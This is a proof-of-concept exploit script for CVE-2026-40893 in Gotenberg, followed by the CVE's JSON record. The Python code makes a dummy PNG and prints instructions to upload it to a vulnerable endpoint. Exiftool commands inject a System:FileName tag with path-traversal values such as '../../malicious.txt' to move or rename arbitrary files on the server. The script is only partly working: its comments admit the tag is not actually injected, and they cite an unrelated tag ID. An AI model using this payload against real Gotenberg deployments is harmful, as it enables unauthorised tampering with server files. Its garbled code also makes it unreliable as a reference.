CVE-2026-40893

# PoC for CVE-2026-40893 # This script demonstrates how to create a malicious image file # that exploits the System:FileName tag bypass in Gotenberg < 8.31.0. from PIL import Image, ExifTags import io # Create a dummy image img = Image.new('RGB', (100, 100), color='red') # Exif data requires specific format, simulating the tag injection # In a real exploit, we would inject the System:FileName tag # 0x0131 is the tag ID for 'Software', but here we conceptually # show where the System:FileName would be placed if using ExifTool directly. # Since PIL doesn't support arbitrary System tags easily, we simulate # the file that would be generated by: # exiftool -System:FileName='../../malicious.txt' image.png print("Vulnerability: CVE-2026-40893") print("Impact: Arbitrary file rename/move via ExifTool tag injection") print("Usage: Upload the generated image to a vulnerable Gotenberg endpoint.") # Save the image img.save('exploit_image.png') print("Generated exploit_image.png. Modify its Exif data with 'System:FileName' using exiftool to complete the PoC.") # Example command to make it exploitable: # exiftool -System:FileName="/tmp/pwned.txt" exploit_image.png

{"cve": {"id": "CVE-2026-40893", "sourceIdentifier": "[email protected]", "published": "2026-05-14T16:16:20.323", "lastModified": "2026-05-14T18:16:45.910", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.31.0, Gotenberg only checks if the tag is exactly FileName, so System:FileName slips right through and ExifTool happily renames the file. This allows remote attackers to move, rename, and change permissions for arbitrary files. This vulnerability is fixed in 8.31.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-73"}, {"lang": "en", "value": "CWE-184"}]}], "references": [{"url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-62p3-hvxx-fxg4", "source": "[email protected]"}, {"url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-62p3-hvxx-fxg4", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}